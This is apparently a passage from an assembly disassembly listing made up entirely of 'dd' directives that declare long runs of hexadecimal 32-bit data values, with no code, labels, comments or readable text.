		dd 0E4351B5Ah, 0C90D06h, 0FDDD6F44h, 0CB12021Ah, 8E783E00h
		dd 863885D6h, 0DC970091h, 67D0EC74h, 0C400AFB6h, 1A6ACE7Eh
		dd 7F144A7h, 1B271D6h, 0B61213DBh, 85D80A8h, 19A17901h
		dd 7BBAC09Bh, 0C8D3BA43h, 2B1FA4h, 6FCC594Ah, 0CF50B787h
		dd 68C59600h, 271AC28Bh, 0E8BF00C9h, 1FE2D162h,	700705Dh
		dd 0EF29F481h, 898B9Ch,	4EAEDA03h, 0BC0B6DAFh, 0C4207F00h
		dd 0ECC31133h, 0E207E052h, 51DB0278h, 2FD3C135h, 0EAA4660h
		dd 20624630h, 0F2B2438Fh, 567000AFh, 527EA49Dh,	4507E159h
		dd 6F9306C4h, 6062B8E1h, 1FA3DCh, 30B60A32h, 9425268Eh
		dd 50E1F806h, 650A7EEh,	0DF2CFF17h, 2B00115Bh, 8BA512D8h
		dd 0E777AFh, 6EB8A6FBh,	94FA8822h, 0FD43Dh, 52865CBDh
		dd 1E42E5F1h, 327A681h,	44B3E37Dh, 0F9F4A190h, 0EA131990h
		dd 3518B4BBh, 0B9DC11h,	0F8BD9CAAh, 0B76EE977h,	680159F6h
		dd 70C2F53Ch, 0BE03281h
		dd 2F611923h, 809D711Dh, 632534C8h, 5C0B83EFh, 0E304919h
		dd 0A215321h, 40070E8h,	98AEDCA0h, 0FBF4B499h, 229C4FD0h
		dd 940009CAh, 31EE87B7h, 74815C59h, 3B6D01D2h, 9876F67Ch
		dd 10EDE456h, 0D87BEF0Ch, 5053908Bh, 0E720CCh, 9863C551h
		dd 0ED5F0EF4h, 0B98F1700h, 0ABD39DEEh, 764FEC2Ah, 53C5009Fh
		dd 0C77726BFh, 5060CB98h, 0B45BF238h, 0BE2130F9h, 0DC68FB50h
		dd 8F5C7850h, 8088208Dh, 93215Ch, 0C80F7B16h, 14901269h
		dd 0A4829E0h, 0B1E50A5h, 9782C1Fh, 451C8A2Eh, 7A47BB80h
		dd 0D9B2A3h, 19AC4B6Bh,	0C0C93672h, 64675E00h, 74B0BD9Dh
		dd 0F1980037h, 83568618h, 0AC484FC7h, 50910062h, 47422D6Ch
		dd 0D4F235h, 943E2A0Ah,	169F7F64h, 2336B300h, 0CC513E7h
		dd 0BC1000D7h, 6F45C1DAh, 0F0DA8865h, 86043DD0h, 100DC5EBh
		dd 0E44D8101h, 5020643Ch, 131DDC0h, 9D9288E0h, 0F062238Dh
		dd 44073866h, 940ED252h, 1E13E4C1h, 90E3CCF0h, 0D3AA24BEh
		dd 0F94F8324h, 51107B75h, 78804868h, 0CF53E18h,	0FC8928C1h
		dd 0B840110Fh, 58458Ch,	0B7BF1C12h, 0CD32337Dh,	960A5EFEh
		dd 0F48A16D4h, 6888F544h, 0EB730EBh, 9B4E73C0h,	18781330h
		dd 1956462h, 2D3B7CF5h,	800F5EBFh, 0B66EDE1h, 0F6ADC34h
		dd 16F5BCBBh, 418587CEh, 27FCC059h, 0B7016C3Ch,	1B428985h
		dd 80F25526h, 0F1A533D9h, 0BE62015Eh, 1E64186h,	0A489D845h
		dd 0AE308D78h, 4DD11951h, 343ECB2h, 35875484h, 0A4E042FEh
		dd 0C0509D2Ch, 56008314h, 0B1261EDAh, 3FE473h, 5905AB04h
		dd 0BEB8B984h, 0A44A58C0h, 0E99271h, 0F8627620h, 95FCB7CAh
		dd 0BF126A0Ch, 78818Bh,	583D0B72h, 74A7DFF3h, 54D80900h
		dd 2005ACE6h, 8DBD1457h, 0EB0118CCh, 0E039CF0h,	0A2EF06Ch
		dd 5D020D00h, 437684C6h, 53EE23h, 159EC55Ch, 0B39BD890h
		dd 6B938303h, 0E80D6E1Ch, 3F068CCEh, 2F8155D3h,	0C88FC9ABh
		dd 6137FC0Bh, 2066B130h, 633D17h, 90AC29Ah, 9291AB3Ch
		dd 26E770E1h, 0A7152303h, 9D82B287h, 25780580h,	0A8283A05h
		dd 0AC36DE01h, 86405395h, 1424425Ch, 9BFE39h, 64F11CCCh
		dd 0AED1E102h, 0B1039A00h, 0D8AC28BBh, 0C360032Bh, 718D488Bh
		dd 0A326D01Dh, 42F65201h, 48BEDB93h, 0F1447618h, 2C0114A8h
		dd 9EAEC13Ch, 0FBD86F3Ah, 0B48A036Dh, 4FA1667Fh, 0F722FCB8h
		dd 0CC0E16B0h, 80886901h, 0DF29409Fh, 0F0F4ABh,	54D759B3h
		dd 0E3CD4915h, 7E90691Dh, 1F482800h, 3C3F022h, 54CC33E0h
		dd 8302BF6h, 3B2A21D4h,	46B400F0h, 0B9A1CB8Eh, 90227085h
		dd 0A8543961h, 47B20E74h, 3207C064h, 6061D0C8h,	0A30340D5h
		dd 0D422656Bh, 7F300EEDh, 208336E3h, 11002BE4h,	21B6EE08h
		dd 1909C86Ah, 8B095FFh,	5F21873Ch, 1BC0BF45h, 0C113C0A4h
		dd 889AB8D0h, 5058B15Eh, 420CE79Ch, 6A25BF08h, 996B70E8h
		dd 42D8BE00h, 0A9C112F1h, 0A41A51CFh, 0F23176CCh, 0FB28D054h
		dd 0FDA49300h, 0EC0B99F7h, 829CF1Dh, 92216038h,	7A49Bh
		dd 2EAE54D6h, 117E5CFAh, 49690200h, 0EA534D28h,	2CCCA0FEh
		dd 0B99100E8h, 2143336Dh, 0A30079C1h, 7127F9CCh, 3AC9445h
		dd 0D0BA7A78h, 0E0B8DC6Ch, 6D3A5DD8h, 0ABAD8F41h, 2068C86h
		dd 3BBA00FFh, 19729305h, 51002CA1h, 85F1FD74h, 0B761845Ah
		dd 0EF381E70h, 9BDF8089h, 80C2B3BAh, 0A0A80078h, 308FB7FBh
		dd 0BB1E15DDh, 1787DE14h, 80104194h, 3A868Bh, 8220C5A7h
		dd 15B41175h, 0DEA2AA01h, 62F2160Fh, 114229BDh,	6E117A4Bh
		dd 64BF11A3h, 9022FE00h, 406C20C4h, 0F4086289h,	3BE96E45h
		dd 76F95188h, 0FD846690h, 79B64C40h, 0DFE10086h, 0B5524E04h
		dd 0EF007FFEh, 0F7CFB282h, 91FFBBh, 172BBF8Dh, 0D955C7E3h
		dd 44F24203h, 0C0C913ACh, 184CBBh, 0CFAEA551h, 0B532736Eh
		dd 0B9CAD400h, 8201B39Dh, 9AF400B0h, 87C66BB1h,	1900A24Ch
		dd 0E215BD7Dh, 63F597h,	0CF0CC79Fh, 0C68E52BAh,	0ECE96700h
		dd 3078499Bh, 12283D61h, 592AF600h, 416953CFh, 0FC11D800h
		dd 245E9BDh, 23400C57h,	2AD20982h, 0F2A74A00h, 707ED8CFh
		dd 3FFFE66h, 0AE5B12BDh, 100E673Eh, 0E00AA5ECh,	0DF06D5BFh
		dd 54B400B9h, 0AB7D5D37h, 43052AE5h, 9725147h, 1E8FF000h
		dd 0EAC53Ah, 6457677Ah,	1B106FD5h, 61929400h, 25CAAC5Fh
		dd 0AD3E0096h, 62846593h, 8E0053E7h, 0FF3F6333h, 0A1FA4Dh
		dd 12EB0316h, 0F81EF49Fh, 0B9765900h, 0DB6DDFFBh, 2C90ADh
		dd 820A1FA0h, 4ACE5FBCh, 45213Ch, 49E3FF38h, 50F15h, 9C4E4F53h
		dd 6BDBFA5h, 7CA00D00h,	5DE611D3h, 0A63F0005h, 8FD40A44h
		dd 0B02B1C3h, 7412EC37h, 0B606E0CAh, 0E047034Eh, 26841F95h
		dd 99271807h, 25F1ABEDh, 0E2E07523h, 0F1440181h, 93603534h
		dd 1A6CE032h, 48FEB113h, 6BF86E00h, 7E318741h, 22F4C3FCh
		dd 3AE0B21Dh, 540E7571h, 2049D893h, 9EDF8A42h, 0B8FF757Bh
		dd 99C98B4h, 0B632BA30h, 0EB2FCA00h, 0F400DC40h, 0FC68E0E5h
		dd 1052076h, 0CF2B1A52h, 0DC4F8D0Bh, 0E4001F77h, 345982F6h
		dd 0D3C1FCh, 7113F51h, 7217BD87h, 849D5D1Eh, 7E77BF00h
		dd 48D57D49h, 5F3CDCB5h, 0AA2507F2h, 809A157Fh,	0D4845E38h
		dd 94336B00h, 593FD9A1h, 27773B4Bh, 893C0370h, 0EC9E5BBFh
		dd 87060AF0h, 16358C58h, 0B409EA7Bh, 6D7C0014h,	0E33811h
		dd 0B847CF67h, 7107C02Eh, 9C2C6CF0h, 90005397h,	0AA1105D5h
		dd 65C90033h, 960777CDh, 7AE075B8h, 5D3D097h, 0CBE8E410h
		dd 73CC007Fh, 67251FD2h, 5A28B474h, 43E0B4C4h, 7DB0FC00h
		dd 35F6537h, 0F5E6ECh, 17CCFDDh, 539316B1h, 837B5E1Eh
		dd 6400F292h, 0A2B46630h, 0B8EC0004h, 0AA1F034h, 0BC908281h
		dd 0F67CEE01h, 0E6CCDFADh, 7CAEEDE0h, 557300CBh, 7E205B4Bh
		dd 0F904C8CAh, 53EBE4F2h, 0A9A68480h, 757A1D38h, 0EDFB808Ah
		dd 6B926C33h, 2B356100h, 0C7DFAFA8h, 49190068h,	3E0DCDD1h
		dd 5B05B183h, 0AFFB5210h, 97907BC0h, 0B69D003Ah, 0CCBE5DE1h
		dd 0EB00B0D1h, 576A3243h, 0FA9538h, 0E5F50C58h,	6403583h
		dd 4700D090h, 70D38D76h, 90E2ECh, 0D9602532h, 0F2E52067h
		dd 207B3830h, 3D64460Eh, 0B6A8100Fh, 10E0608Fh,	0E7603F06h
		dd 2F85700Bh, 7D820024h, 0E1FC7Eh, 0C1FF6BADh, 1B1F5CFh
		dd 0B0535409h, 81940E51h, 81D6DA65h, 0A412ECh, 0A1061BD3h
		dd 5E8E6D48h, 0AD0DE90Fh, 0C3262717h, 3F1BB6A0h, 0FA6A024Ch
		dd 7399EC36h, 25B5C848h, 5FA43000h, 15EB8A7Eh, 0D5B90032h
		dd 0F162065Bh, 26001652h, 0E1D9D4EFh, 0F13C39Fh, 0E34DE5FFh
		dd 8432EE60h, 0A7007ADAh, 370E9424h, 5C046D66h,	4500A927h
		dd 3EFEAE9Ch, 39000A8Bh, 73F84999h, 0E438F6D0h,	0CC5200F4h
		dd 410CAD0Bh, 0CF008DB5h, 3EA0A41Fh, 0B0156Fh, 5BCE8B40h
		dd 63BF740Ah, 8195C807h, 57603D5Ah, 0A2DCFEh, 0B21C31E0h
		dd 2917FFF6h, 6A7FAC0Eh, 8030C999h, 0B44FC2E6h,	3A900DDh
		dd 4563016Bh, 4400D878h, 0F5CF1ADh, 0E11AFh, 0B13C3A85h
		dd 0B5616CB6h, 6FE2BA00h, 0FA2A89CAh, 9571019Ch, 0B9EBDFD1h
		dd 0F5F7200Ah, 0FB7E6F90h, 0C44FDB00h, 5207A382h, 0AB36030Dh
		dd 3BC0F4D9h, 0EAF0D6FBh, 0CE00CA63h, 5B2438Dh,	857EBDh
		dd 25C32C45h, 37C99893h, 7BED6117h, 3B296E00h, 3A2309DFh
		dd 1C80877Fh, 98F508E0h, 0CF00F351h, 3E97F807h,	9A4B25h
		dd 169ED6CAh
		dd 0F20E751Dh, 78794600h, 11EAD5C7h, 8438000Fh,	8B19B834h
		dd 0B7007049h, 0ADECF0A6h, 3E656272h, 0DC807581h, 0AE1E34A0h
		dd 0FA72E469h, 0DB0031FCh, 0F6A372F4h, 1255986h, 48308EBBh
		dd 214C347Ch, 83A9FCE0h, 0D3E2DD09h, 54D7806Ah,	9865F0D9h
		dd 669A0024h, 0C788CB20h, 62DED4BFh, 75686300h,	5C5C8h
		dd 0E316578Fh, 6CD70EE2h, 13CF040Fh, 0D60E3C03h, 7F6707B2h
		dd 0BB78EF00h, 229C2CBEh, 0B5870058h, 0AC309A07h, 72C35D00h
		dd 102F2065h, 0D55F0CE0h, 0CE20BA78h, 3C058900h, 0D3A73250h
		dd 5DA03C27h, 7F4612h, 0CB453092h, 22405EDh, 893DC079h
		dd 27E82B96h, 7440C888h, 30D5405Eh, 1EE0D761h, 70008D06h
		dd 0D4FE596Fh, 0D3A072h, 0C2A9A7B1h, 8BD0E63Ch,	26B8B200h
		dd 0EF1087A6h, 0FBF95C1Eh, 0C68AFC00h, 0F3DE1D5Ch, 0E100A498h
		dd 3A331606h, 0F82F8AFh, 0D2607EFCh, 0B9BA3F20h, 5100FF74h
		dd 8534A3DFh, 111D436h,	0BEB33163h, 0E8145A79h,	0D500C143h
		dd 0C6AB6C9Ah, 4958Fh, 3793F7D3h, 0E0714B41h, 0A07F6100h
		dd 16DEA798h, 3A7B00A1h, 0B9AC699Fh, 32008F29h,	732BFED9h
		dd 0ED919Dh, 66E0B48Dh,	3739E87Fh, 0C00BBB1Ch, 615963C0h
		dd 0E64BFC92h, 0E9830743h, 9033391Bh, 299CF90Fh, 28D88900h
		dd 0A699C2F1h, 4B0AEh, 0EBA9EEC5h, 0DE0D27E6h, 123B1A00h
		dd 1B5BFDEAh, 8C7503A1h, 4A3ED001h, 0E57CF290h,	951E0278h
		dd 6600D89Ah, 92D518E3h, 0D79E00BFh, 0AA29713Dh, 1000E2E4h
		dd 18A177CBh, 0D9B95Ch,	0CC5D6896h, 0EE47B385h,	4DA2AA03h
		dd 0B059649Bh, 13B1EAh,	0AB5E1814h, 0C61632BFh,	0C7909F00h
		dd 46EBF6D9h, 0DCDB3889h, 76488E80h, 74CD947Ch,	0D4F36400h
		dd 0D271D623h, 0DC08005Bh, 0BF9CEB45h, 0C006088h, 0F3894E5Eh
		dd 0CC9275h, 4645DB06h,	2C642E9h, 6D07F798h, 54053533h
		dd 0EFE25F81h, 623C8C7h, 138D7F50h, 0B71AE29h, 0FF001819h
		dd 9CCD614Bh, 0B20774FAh, 0D298C71Ah, 0DA4C1520h, 0DDCB007Bh
		dd 6BD3447Eh, 1200B67Ch, 0DFEFCD20h, 8F696Eh, 1EC25D27h
		dd 0B3783846h, 0CD6B310Ch, 3C872013h, 3A799DDCh, 0C480ED09h
		dd 0C0802D85h, 0E3E01F1Eh, 4707207h, 302A482h, 5E5660D8h
		dd 271D0A7Eh, 0B86E2Ch,	0EE86EFF6h, 1A007299h, 82EAB82h
		dd 1F5A97F4h, 811533F5h, 26672B70h, 0D3EDD49Eh,	0FBAF471Fh
		dd 6190CB40h, 1D77DAF5h, 0E43401FAh, 5CDC00E6h,	0ADFCC893h
		dd 60172100h, 953E5AD1h, 0F0FE35h, 674EE29Dh, 79FAA8DAh
		dd 0AD8FE000h, 0CC2E7A70h, 6E54013Fh, 6518D0EFh, 9EB9D862h
		dd 98E61400h, 0BA05DA72h, 0B1E8009Dh, 0DCA4CD7h, 0E00229Fh
		dd 6D8B457Ah, 42910D9h,	92B323F6h, 5CE2C085h, 0BA002606h
		dd 31822013h, 2DF9D3Dh,	0DBD1F9F3h, 4044782Dh, 0E0815D20h
		dd 9C07146Fh, 0E500DFC7h, 1F31F0Fh, 4000C6Ch, 29FDBEE1h
		dd 64F890h, 0FF3FC3D6h,	4F158AF3h, 0B432D100h, 86A02ED0h
		dd 4E61CB8h, 0CD674942h, 0B3400Ah, 9057B09Eh, 5D0176E4h
		dd 3D84673h, 35F4BAA1h,	36C7EC4h, 0D6BE8813h, 3817CCB9h
		dd 0DB00ED96h, 4103F902h, 3F7914A6h, 0C700E0FEh, 24637AA3h
		dd 0DD187744h, 0BC8164Bh, 0FED10903h, 95804D6Fh, 0B1130834h
		dd 84C91806h, 370CEE0h,	0F9C24CBBh, 0FC88855Fh,	0D0037165h
		dd 1B073EFh, 0DEA2B9A7h, 0AA084E6h, 3A9FD890h, 33792Ch
		dd 2B03FE42h, 5605B624h, 89C4F500h, 0FA220CDAh,	0E7ED3BA7h
		dd 0B200084Dh, 3679F920h, 0D5006BC8h, 8BC6DF03h, 30742D7h
		dd 0B40A1E43h, 0AB886612h, 25EC5D3Eh, 475B5200h, 0CA893BC7h
		dd 59731Dh, 3E1F3D27h, 36A114Bh, 8279BD38h, 0ECEBC50Fh
		dd 4C8841DFh, 421AD0h, 4126FFCFh, 2DB0A15Dh, 0AA0157FCh
		dd 8BDBC187h, 90D8BC88h, 0CF82034Fh, 3C6495E6h,	1611D801h
		dd 6F6A5B91h, 0C83EA03Eh, 0A358EA00h, 1E12D14Eh, 4A011CECh
		dd 0B860F8B7h, 2C9872D2h, 0B21F5300h, 6FC1A090h, 1B3A0324h
		dd 7ECF76D8h, 0C06D201Fh, 9AB000FFh, 0D183C996h, 0FDB40035h
		dd 767F74F9h, 0F01C7BD9h, 6E1EBAB8h, 0F33E83BEh, 0B1F4BF7Ch
		dd 1A218832h, 94481BD1h, 0A6651C19h, 0F1AFC1D1h, 0F8E975A0h
		dd 0E500FB42h, 9F9A8EDFh, 1EBC67Dh, 0FAA3A02h, 0C0D6224Dh
		dd 87183D78h, 0B010762Ah, 0A97F0F36h, 0D9E0661Ch, 703EA313h
		dd 1200B87Dh, 77E33CE1h, 104248h, 8107CE55h, 952BFFC0h
		dd 9CF6D005h, 88403E44h, 0EB24B56Ah, 3AE100BBh,	27FC6EC8h
		dd 0E3011ED6h, 50F0C358h, 79704A04h, 0F8CB000Ch, 7A222E57h
		dd 1AF03DD8h, 2CF23Dh, 0F7832193h, 0A003B2D0h, 1236B588h
		dd 0B7CEBh, 0C6B40150h,	43004583h, 0B7030782h, 1D52E2F9h
		dd 0C431CF06h, 92769F51h, 92409CF4h, 5A587508h,	0D96F17BBh
		dd 0BF5DA401h, 80200633h, 0A5DE3BBAh, 631ED4DCh, 0B0E3C04Eh
		dd 45A83E7Dh, 7FE10800h, 74D5202h, 0F87325Ah, 0B06449F0h
		dd 0B8C5C700h, 0D7A47FEFh, 629E0FFEh, 53C0FB18h, 11549BCCh
		dd 79A5B907h, 0B96459h,	0B978A7Ch, 8C000D8h, 0E1D78218h
		dd 0CE00F79Dh, 0B473D574h, 0C26D38h, 22686A44h,	0AB763661h
		dd 65C62B00h, 0CCC1601Ah, 0F63E0011h, 81303F4Fh, 8A24D547h
		dd 87008C77h, 0B9657A9h, 4CBE7F1Eh, 140E2CDDh, 65E0B17Ch
		dd 0A8BD9556h, 0E6D7EF03h, 0D84A0A6Bh, 4FD45Bh,	54180C21h
		dd 17C2D5EBh, 0AC84A72Ch, 0B8420300h, 62FD6C90h, 971CF0BDh
		dd 81CF1840h, 22958203h, 0A8CA805Ch, 3EFE511h, 0BA5313B6h
		dd 0CE88266Ch, 7D3FB8C0h, 3FC4802Eh, 4562C91h, 0C8E7A0E9h
		dd 2C0744Dh, 0D7E17154h, 94C84CB0h, 0EA01AB99h,	0DC4097A1h
		dd 0EDF09D4Ah, 573103D4h, 0BF9368F6h, 54352000h, 84E0FE0Ah
		dd 0DEE518B0h, 76C61009h, 0D75BC30Bh, 6563014Ah, 946005DBh
		dd 15F005Ch, 0B9D3C71Bh, 77E63DEFh, 0F5C3E800h,	4D68E443h
		dd 1C5577FCh, 80806684h, 0ECA0A48Fh, 0C70006B3h, 8562282Eh
		dd 1C54D7h, 0C6E5ED58h,	17DFF6EAh, 14E607F0h, 0BA23749Ah
		dd 1FD38065h, 7C7AF979h, 9AFD9600h, 0FB6BAB3Ah,	0E2F600EBh
		dd 57645BE4h, 1D0B0572h, 1E7F39h, 138BA9DCh, 8098DCDCh
		dd 0E6FE857Ah, 937D4851h, 8052A103h, 0B9FFBD6Fh, 0D8303C0Ch
		dd 0F126096Ah, 100C8F3h, 0D659BBF6h, 2C235600h,	44824210h
		dd 94CE00D9h, 0B7EBFFEAh, 817DA8BCh, 5A8A2500h,	73870511h
		dd 50AD482Eh, 21C33300h, 0ACD8498Dh, 526B7DECh,	245807E8h
		dd 8F10F1F7h, 7F8864h, 0A5F84623h, 72DF499Dh, 0EAD320C0h
		dd 1C2E9Eh, 0F573A214h,	86538DAFh, 84B82C00h, 0F743A4F1h
		dd 0D891005Dh, 7FC2E4AAh, 0B700392Bh, 35BE15CFh, 0CD73ECh
		dd 0C00E30A1h, 0EEABBF77h, 5EE8B62Dh, 5D190069h, 45C87E3Ah
		dd 0F374C302h, 40295A49h, 77FD9290h, 5ECF0085h,	4ADA33F4h
		dd 220F824Dh, 633D7002h, 0C8EC7A86h, 19FCC2Bh, 346DAD9Ch
		dd 0E43A2DCEh, 0BF003003h, 5EA30BDFh, 0DA97B6h,	72241760h
		dd 0A1FD26F1h, 0C53E4900h, 977864F2h, 0B2F0039Ah, 793BC348h
		dd 0C213C0A7h, 0B40110AEh, 56B0E890h, 6CFCD19Ah, 2B90758h
		dd 0C0931D4Ch, 40C12A9Bh, 0FCE00F00h, 41D1FB5Eh, 33CD0E87h
		dd 0B4EC1F1Eh, 1C7BA351h, 0D08E9907h, 24F0296Ch, 1F812AACh
		dd 5FADF2C6h, 2BBD8019h, 6B5D380Ah, 7EE8F8EFh, 87039990h
		dd 7F8C83D5h, 13301FDFh, 2DA2842Ch, 0AC480A0h, 230045C2h
		dd 0CFEDB51Bh, 74B83398h
		dd 17BC00F9h, 962BE483h, 8F59635Ah, 0DD1900E0h,	42C2B368h
		dd 0E7C9038Ch, 50850B4Ah, 14F4A4C8h, 76EE5900h,	442E646Ch
		dd 3B5F071Eh, 87DEADFDh, 436AC378h, 0D2C618F0h,	0DDF24A1Dh
		dd 80014D1Dh, 1B71B8E0h, 88F32880h, 0BE48F737h,	40F58A1Dh
		dd 27DF9500h, 5D05C0h, 6ADD6C02h, 0AFB3090Fh, 36001471h
		dd 58D3ED8Ch, 79AE5Eh, 972FA75Fh, 6A6D9299h, 7BFBCD01h
		dd 420A66A1h, 0AE4077FEh, 776725BAh, 0F0B6CEB0h, 2F623A90h
		dd 23BCDB00h, 6F5185Fh,	438CE201h, 40D2EE6Ch, 0C0377620h
		dd 79D91BD0h, 0DB3FD150h, 0CA0A898h, 1768B354h,	92F0F660h
		dd 0A4A98Dh, 0E066DE68h, 78CEA814h, 5AA07300h, 0A7AAB798h
		dd 3356007Dh, 0D3F97FD1h, 5F0044D4h, 204D5ABCh,	0C788FDCAh
		dd 60337142h, 3432E266h, 51BC4Ch, 5B3C9EBBh, 7143EDh, 0EE301E70h
		dd 2CAE2778h, 0D0066E2h, 0D85B3B96h, 1D634FDh, 780E2CFh
		dd 0F874DD31h, 5C0143D2h, 53269D71h, 86C43FFBh,	0F69000ECh
		dd 21546C2Ah, 0C300ED46h, 4D6A6F5Eh, 0B1518F9h,	313FE3C9h
		dd 7160598Eh, 0F23BC69Ch, 54DF2500h, 6DD661C4h,	0D1EE3D57h
		dd 9C627D00h, 0F392F980h, 144DBA00h, 793DEC8h, 51FA03DAh
		dd 1A78C9BEh, 51C2A18Ah, 0C54CA420h, 0F2284371h, 0EE31D4D5h
		dd 1A61081Dh, 0DD332081h, 0E0F64E71h, 6B0084CEh, 0A59BAE14h
		dd 1402B4A1h, 0D2658594h, 6D0E3060h, 7B6036CCh,	0AD225861h
		dd 38F50398h, 30FD32BEh, 217E0830h, 0AD1A3Dh, 8D331E15h
		dd 646F0BF7h, 66A94B18h, 0CFA5558h, 9783599Eh, 5C41C670h
		dd 46710856h, 0AD0C02CEh, 3108F3BAh, 4371074h, 0EA9B00ADh
		dd 83FF2CE6h, 0F09706Fh, 7D146859h, 0C690A701h,	0D610F078h
		dd 0D9F05061h, 19861EE2h, 7844715Fh, 7964B60Ch,	0F39052h
		dd 6947B5ACh, 0E9674C13h, 0AD0F6B7Dh, 60A6D45Dh, 0D1B4E2B1h
		dd 0FC7300C1h, 6F4E030h, 6E00142Bh, 355D609Ch, 3F59B55Ah
		dd 768052A2h, 846DAA0h,	0F7B8682Dh, 0C840B200h,	0C4370EB5h
		dd 36B7070Dh, 993EFD93h, 6FD87Dh, 0CBF8832Fh, 9070FC44h
		dd 48B9DA00h, 0B15BE0F9h, 47E6094Bh, 3C836E3Dh,	83B08ECFh
		dd 5600C6CCh, 881D68BEh, 8F3148h, 51BC75E5h, 40A1640Fh
		dd 9B6058C7h, 0A89536B3h, 1AE6EB7h, 90464D32h, 0E4785E5Dh
		dd 540091F2h, 2C1263A1h, 864B3Fh, 749DFDE8h, 0BB68345Dh
		dd 0F76BA007h, 4C2FE03Dh, 0F101896h, 880C48BCh,	0E67B4C0h
		dd 2A00738Ch, 0CE2EB65Bh, 6070A1C8h, 0BB2D58A8h, 233ECA37h
		dd 7B2F0CD1h, 79F6A1B9h, 14C300ADh, 0BA861DA9h,	9CAB06C6h
		dd 0DA058800h, 0CBEB5D77h, 0D3811C07h, 0FEF7C0D8h, 0D0E6C05Ch
		dd 5B0C60C3h, 0B250004Dh, 4BD49567h, 0D81FD777h, 5200351Dh
		dd 8C8BBEB4h, 3BBBFE4Ch, 65009F91h, 0AD618AFFh,	770F8F6h
		dd 2A335001h, 3867B9E3h, 90C0E4h, 63AC1099h, 0A136F6C2h
		dd 0BA00827Ch, 0AD38359Bh, 0C57458h, 0C98EEDEEh, 0A57A32B9h
		dd 2500AFB0h, 0CE5E5242h, 4BBB71h, 8B120DF9h, 6793181Dh
		dd 0EA005C79h, 0F6BC334Dh, 1EE60FEDh, 4048048Dh, 73C834Ah
		dd 200703AAh, 2B64BF41h, 2AEE7710h, 0FCFA30h, 0E98A2B7h
		dd 0DC81C236h, 63C69200h, 0EC607A0Ch, 0D99C0394h, 6EC179ACh
		dd 423283A0h, 0B4002D7Bh, 0E34AA80Bh, 499EF6h, 0BCEC9956h
		dd 1A8FBE92h, 7B607400h, 0AE48319Fh, 8C60297h, 0FBC78B9Bh
		dd 1CD7360h, 91D3FC00h,	0BCCC7AA2h, 60362D85h, 95500780h
		dd 781F9853h, 6180ED32h, 35C55BA5h, 0AAC0037Dh,	0FC06BF70h
		dd 4B4C21AFh, 6D29887Ah, 937E84A2h, 420A08ACh, 59257C88h
		dd 14E3280Ah, 0AB09FE04h, 4E80F604h, 0C65E8A5h,	0E279FAA1h
		dd 67DDF345h, 1CB105F6h, 21EF9114h, 859C0CB6h, 4D447D51h
		dd 0BAB944CCh, 880A3384h, 44BCE929h, 0EE48C839h, 108F6D43h
		dd 394BF579h, 0DA5D00C9h, 0B551366Ah, 9BBF0045h, 6C0130E0h
		dd 0CD003EB6h, 0FEE4DE41h, 7BA9AFh, 0B2D9B415h,	6ECC929Fh
		dd 0CE58481Eh, 0C9827980h, 3BF24221h, 730065A2h, 55CD3AD5h
		dd 6A0020B6h, 293B83B8h, 0F2AD66Fh, 34AB722Dh, 0A78B80BDh
		dd 0BC756EEh, 0BEA44Ch,	84B8AD94h, 0B0F205h, 9617F968h
		dd 0BAD9E9F7h, 0CDBC3703h, 0C3B3F847h, 0E42AA04Eh, 129E3FA9h
		dd 0BE1DC73Dh, 658E403Eh, 6199EB95h, 3613358h, 4C7B1BC5h
		dd 807F26h, 6FC90DF6h, 6EFD7AE8h, 5FECD800h, 0B0E4D137h
		dd 361B3FB4h, 98D40D80h, 55D36982h, 7993A81Dh, 6187C900h
		dd 77274E57h, 0ADB01832h, 4483704Dh, 0FA992900h, 0A8FB1985h
		dd 8687006Fh, 589BF7Dh,	5E3B9C8Bh, 0A77F814Dh, 62A38352h
		dd 0E42BE8E3h, 906454DCh, 0AB63078Ch, 0D0145654h, 6E68671Eh
		dd 116A4A0h, 0CA045279h, 0BC74C43Bh, 3FB3C0EEh,	89786020h
		dd 4B83900h, 76902644h,	60357AC8h, 111C1019h, 923B257Dh
		dd 2C990012h, 981340A6h, 57160050h, 305AF514h, 0EB002DC6h
		dd 7032EADh, 0FC411E3h,	0BBBACCDCh, 583A5C40h, 8400F2F7h
		dd 748F428Eh, 75D963h, 0CBE64AADh, 159265EBh, 73C5F312h
		dd 0B6DC1407h, 937AFB90h, 975E00A8h, 9A07C95Ah,	0C00444Dh
		dd 0E995644Ah, 0EE08E52Bh, 0E73900FCh, 1E81E59h, 4F03F638h
		dd 9CFA8D3h, 0E008A8B2h, 0E7B30018h, 9C028904h,	4A006AF6h
		dd 7E6D8135h, 3DB4FAh, 106B42E4h, 12C58D94h, 1BDAD412h
		dd 1C0A4840h, 5AA237h, 6F43B677h, 41E923B5h, 0C8A19307h
		dd 0E2B32691h, 6EF3B8C6h, 0C0B61E90h, 84C7803Eh, 6649A93Bh
		dd 0F900EC9Ah, 285DA738h, 7EA48D4Eh, 0E6251D3Dh, 0C677C1B6h
		dd 0C16F99D9h, 0C8BB2Ch, 6CB779F0h, 2A68FEF2h, 0BC2AA4h
		dd 4B7A3AFDh, 0B26BC4EBh, 436CD51Fh, 1F90AEC0h,	94DCE6h
		dd 6D13017Fh, 2CE1FD08h, 845A3C00h, 0D3C0D542h,	548DB0BBh
		dd 0EECEB4F2h, 4AD2006h, 868E8800h, 0D17109BCh,	0D35C00A1h
		dd 603B963Dh, 0F20980D2h, 837C2FF9h, 88EDAB76h,	4034Ah
		dd 78DE5DD1h, 26325422h, 0FFCFC701h, 0F8D6E84Ch, 2840B440h
		dd 0A800843Fh, 8E0D7260h, 0AE3342Ch, 0C337CE49h, 438282BCh
		dd 7060A72Dh, 35779E45h, 0EA187301h, 98ADE61h, 0E2170AF8h
		dd 0B9F0F5Eh, 8460886Bh, 0A46A436Eh, 0B7EFF801h, 7C85315Ch
		dd 3214460h, 2CEDFE77h,	0A3EF9372h, 0EBD0F39Dh,	9073CB7h
		dd 0BC8D0750h, 123A8E60h, 113F0054h, 58C6B06Dh,	4501EC1Ch
		dd 0E0278A44h, 3C30434Ah, 4C4703A6h, 55CB7418h,	2B3B41E0h
		dd 2D09D17Bh, 8EA35Bh, 6ACA2970h, 0EE5403FCh, 0CB16DEB6h
		dd 0AFF4E8B0h, 0E9C03400h, 28A9BFD6h, 7A5B000Bh, 0FBB557C3h
		dd 0CC00148Fh, 7E49F517h, 4B6B78h, 36DE22D5h, 0DB919FD7h
		dd 99AA0D09h, 63788039h, 1ED26D2h, 8CB8B5BEh, 0C8F5BD55h
		dd 0F43C7489h, 0FF9B8009h, 5ED4F5Fh, 7ADE03B2h,	322D34D5h
